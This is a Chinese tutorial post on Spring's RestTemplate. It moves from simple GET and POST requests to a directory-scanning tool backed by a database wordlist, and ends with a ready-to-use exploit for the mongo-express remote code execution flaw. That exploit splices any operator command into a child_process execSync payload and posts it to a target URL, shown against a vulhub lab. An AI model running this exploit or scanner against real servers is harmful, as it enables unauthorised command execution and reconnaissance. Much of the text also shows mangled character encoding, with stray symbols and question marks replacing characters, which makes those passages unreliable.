java分布式基于RestTemplate的使用方法

更新時(shí)間：2022年02月19日 10:40:14 作者：kali_Ma

這篇文章主要為大家介紹了java分布式基于RestTemplate的使用方法說(shuō)明，有需要的朋友可以借鑒參考下希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪

1.前言

最近在接觸到分布式方面知識(shí)的時(shí)候，學(xué)習(xí)了RestTemplate的一些使用。RestTemplate比較常見(jiàn)的就是用來(lái)進(jìn)行一些http請(qǐng)求。本人在使用之后，在語(yǔ)法簡(jiǎn)潔的同時(shí)，感覺(jué)非常的方便。

于是乎在后面就想到了，通過(guò)RestTemplate來(lái)做成在線的"武器庫(kù)"，會(huì)不會(huì)更方便呢。因?yàn)镾pringboot開(kāi)發(fā)本來(lái)就比較簡(jiǎn)單，而且在后期進(jìn)行一些團(tuán)隊(duì)協(xié)作的時(shí)候，用在線的平臺(tái)是不是相對(duì)于團(tuán)隊(duì)更方便？避免了因?yàn)榄h(huán)境不一致而造成的問(wèn)題。

2.RestTemplate get請(qǐng)求及傳參

2.1正常get請(qǐng)求不帶參

首先來(lái)用一下正常不帶參的請(qǐng)求,既然要使用RestTemplate，那么肯定首先要new出來(lái)。之后使用rest.exchange進(jìn)行請(qǐng)求。

exchange參數(shù)說(shuō)明如下：

類(lèi)型	說(shuō)明
url	請(qǐng)求路徑
method	請(qǐng)求的方法（GET、POST、PUT等）
requestEntity	HttpEntity對(duì)象，封裝了請(qǐng)求頭和請(qǐng)求體
responseType	返回?cái)?shù)據(jù)類(lèi)型
uriVariables	支持PathVariable類(lèi)型的數(shù)據(jù)。

參數(shù)1,2不做過(guò)多講解，參數(shù)3的話，在初始化HttpEntity的時(shí)候，就可以傳入一個(gè)自定義的headers。

所以提前通過(guò)HttpHeaders headers = new HttpHeaders();

進(jìn)行設(shè)置headers并傳入即可。

@RequestMapping("gettest")
public @ResponseBody String param(){
RestTemplate rest = new RestTemplate();
HttpHeaders headers = new HttpHeaders();
headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");

String url = "http://127.0.0.1/t.php";
ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>       (null,headers),String.class);

String body = res.getBody();
return body;
}

在上方的代碼中,請(qǐng)求的是一個(gè)php文件，而該php文件非常簡(jiǎn)單,只是打印出user_agent。

在打印出user_agent之后，ResponseEntity res這兒就接收到了回顯信息，最后在通過(guò)res.getBody();成功獲取到頁(yè)面的回顯數(shù)據(jù)

2.2 get請(qǐng)求帶參使用

了解完上面的無(wú)參get請(qǐng)求之后，接下來(lái)了解一下如何傳參？

是不是感覺(jué)有點(diǎn)枯燥了？為此加了點(diǎn)CTF元素。代碼如下，只有當(dāng)用戶傳參符合第四行的if判斷，才會(huì)進(jìn)行輸出正確的flag

傳參方式：

這種也是最為常見(jiàn)的一種，就是使用參數(shù)接收，是不是感覺(jué)和上方無(wú)參get方式的代碼非常相似？下方形參agent和value就是在網(wǎng)頁(yè)中的參數(shù)名(PS:學(xué)過(guò)springboot的小伙伴應(yīng)該都知道)。之后將agent設(shè)置到headers里面，而value進(jìn)行了拼接到**t.php?value= **后面進(jìn)行當(dāng)做參數(shù)值傳入

public @ResponseBody String param(**String agent,String value**){
        RestTemplate rest = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent",**agent**);
        String url = "http://127.0.0.1/t.php?value="+**value**;
        ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
        String body = res.getBody();
        return body;
    }

最后進(jìn)行測(cè)試一下，成功進(jìn)行傳參獲取到了“flag”

2.3 編寫(xiě)在線目錄掃描腳本

既然玩轉(zhuǎn)了get請(qǐng)求之后，那就來(lái)做一個(gè)目錄掃描的小功能吧。畢竟學(xué)以致用。

整體實(shí)現(xiàn)流程如下，采用springboot，并整合mybatis。這里沒(méi)有寫(xiě)Service層，因?yàn)楫吘苟际浅醪綄?shí)現(xiàn)而已。

而最為顯著的一個(gè)優(yōu)點(diǎn)就是：站點(diǎn)目錄都會(huì)存入到數(shù)據(jù)庫(kù)中,這就在后期發(fā)展中避免了字典少,不夠用的問(wèn)題。因?yàn)閳F(tuán)隊(duì)成員都可以將自己的字典存入到該數(shù)據(jù)庫(kù)中。

首先準(zhǔn)備好數(shù)據(jù)庫(kù)和一些"字典"，測(cè)試階段，本人自己就手動(dòng)添加了幾個(gè)。后續(xù)如果字典龐大，可自己寫(xiě)個(gè)小腳本導(dǎo)入到數(shù)據(jù)庫(kù)即可。

數(shù)據(jù)庫(kù)準(zhǔn)備好之后，就可以進(jìn)行整合mybatis了。這里pom文件需要加載mybatis和mysql的依賴。

目錄結(jié)構(gòu)如下：一個(gè)Controller，一個(gè)mapper和xml配置文件，以及一個(gè)用來(lái)存儲(chǔ)的類(lèi)

application主配置文件，主要用來(lái)寫(xiě)一些數(shù)據(jù)庫(kù)配置

server.port=8081
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8
mybatis.mapper-locations=classpath:Mapper/*.xml

Mapper代碼如下，記得要加上@Mapper注解

@Mapper
public interface MuluMapper {
    List<catalogue> selectAll();
}

Mapper.xml配置，用來(lái)查詢數(shù)據(jù)庫(kù)中的 “字典”

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.restclien.Dao.MuluMapper">
<select id="selectAll" resultType="com.example.restclien.Dao.catalogue">
        select * from catalogue
    </select>
</mapper>

既然配置好之后，那就開(kāi)始實(shí)現(xiàn)重要功能點(diǎn)了！代碼簡(jiǎn)單講解一下：首先通過(guò)@Autowired把mapper自動(dòng)注入。

之后 List<catalogue> list = muluMapper.selectAll();

會(huì)到mapper.xml中執(zhí)行select查詢語(yǔ)句,并將其保存到List集合中。最后到for循環(huán)中進(jìn)行循環(huán)遍歷過(guò)程中，將url與獲取的數(shù)據(jù)庫(kù)中的name字段內(nèi)容拼接保存到temp這個(gè)臨時(shí)變量。

舉個(gè)例子：

用戶輸入url為http://127.0.0.1

name字段第一個(gè)內(nèi)容為：admin

那么最終 temp=http://127.0.0.1/admin

拼接完成之后，通過(guò)exchange訪問(wèn)，最終res.getStatusCodeValue()獲取響應(yīng)碼，為200的話，就判定該文件存在。(PS:這里判斷的比較潦草，比如403等情況沒(méi)有進(jìn)行判斷)

@RestController
public class MapperController {
    @Autowired
    MuluMapper muluMapper;
    @RequestMapping("/tance")
    public String tance(String url) {
        RestTemplate rest = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        List<String> lists = new ArrayList<>();
        headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");
        List<catalogue> list = muluMapper.selectAll();
        if(!url.endsWith("/")){
            url+="/";
        }

        for (catalogue tance : list) {
            String temp = url+tance.getName();
            try{
                ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
                lists.add("目錄存在:"+temp+" 響應(yīng)狀態(tài)碼為："+res.getStatusCodeValue());
            }catch(Exception e){
                e.printStackTrace();
            }

        }
        return lists.toString();
    }
}

看一下最終成品吧，成功實(shí)現(xiàn)一款簡(jiǎn)易的在線web目錄掃描

3.RestTemplate post請(qǐng)求

3.1 post請(qǐng)求玩法

有了上面的思路之后，post也類(lèi)似。那么為了防止大家感覺(jué)枯燥，繼續(xù)來(lái)玩這道"CTF"

php的代碼沒(méi)有太大變動(dòng)，只是請(qǐng)求換成了post

RestTemplate代碼如下：傳參將agent設(shè)置到headers里面，而value添加到了LinkedMultiValueMap中，可以理解為這個(gè)LinkedMultiValueMap就是用來(lái)存儲(chǔ)post要提交的數(shù)據(jù)，而最后這個(gè)稍作不同的是，用的restTemplate.postForEntity()進(jìn)行post提交數(shù)據(jù)即可，與get是非常類(lèi)似的。

@RequestMapping("/Post01")
    public @ResponseBody
    String Post01(String agent,String value){
        RestTemplate restTemplate = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent",agent);
        String url = "http://127.0.0.1/t.php";
        LinkedMultiValueMap params = new LinkedMultiValueMap();
        params.add("value",value);
        ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class);
        return str.getBody();
    }

最后傳參即可，dong的一下，“flag”也就出現(xiàn)了

3.2 mongo-express 遠(yuǎn)程代碼執(zhí)行漏洞腳本編寫(xiě)

靶場(chǎng)安裝直接去vulhub下載即可。安裝過(guò)程很簡(jiǎn)單，啟動(dòng)之后

漏洞利用過(guò)程更為簡(jiǎn)單execSync中輸入要執(zhí)行的命令即可。返回Valid表示執(zhí)行成功了。

之后前往docker查看即可，發(fā)現(xiàn)成功創(chuàng)建1.txt

接下來(lái)編寫(xiě)利用腳本

先準(zhǔn)備一個(gè)比較丑的前端頁(yè)面，存到static目錄中，這是Springboot默認(rèn)存放靜態(tài)資源的地方。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>mongo-express 遠(yuǎn)程代碼執(zhí)行漏洞</title>
</head>
<body>
<form action="/exec" method="post">
    請(qǐng)輸入漏洞URL：<input type="text" name="url"/><br/>
    請(qǐng)輸入要執(zhí)行的命令：<input type="text" name="command"/>
    <input type="submit" value="提交">
</form>
</body>
</html>

Controller編寫(xiě)思路，首先可以看到action提交到了exec，所以RequestMapping寫(xiě)成exec即可，參數(shù)的話，一個(gè)url用來(lái)接收url地址的，一個(gè)command用來(lái)接收命令。

完整Controller如下，筆者帶你進(jìn)一步分析：在paramMap.add語(yǔ)句中，可以看到對(duì)輸入進(jìn)來(lái)command進(jìn)行了拼接，假設(shè)筆者這里輸入的為“ls”，從而構(gòu)成了如下數(shù)據(jù)

document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“ls”)

最后使用的exchange方法進(jìn)行的POST提交，提交的URL為筆者傳入的，而command傳入并拼接進(jìn)去之后，數(shù)據(jù)最終存到了httpEntity中,，而這里的參數(shù)就不做過(guò)多講解，因?yàn)橛辛饲懊娴幕A(chǔ)，應(yīng)該都能一看懂什么意思。

@RequestMapping("/exec")
    public @ResponseBody String Post01(String url,String command){
        RestTemplate restTemplate = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)");
        MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>();
        paramMap.add("document", "this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync("+"\""+command+"\""+")");
        HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers);
        ResponseEntity<String> response = null;
        try {
            response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class);
        }catch(NullPointerException e){
            e.printStackTrace();
        }
        return response.getBody();
    }

最終測(cè)試過(guò)程，編寫(xiě)腳本利用成功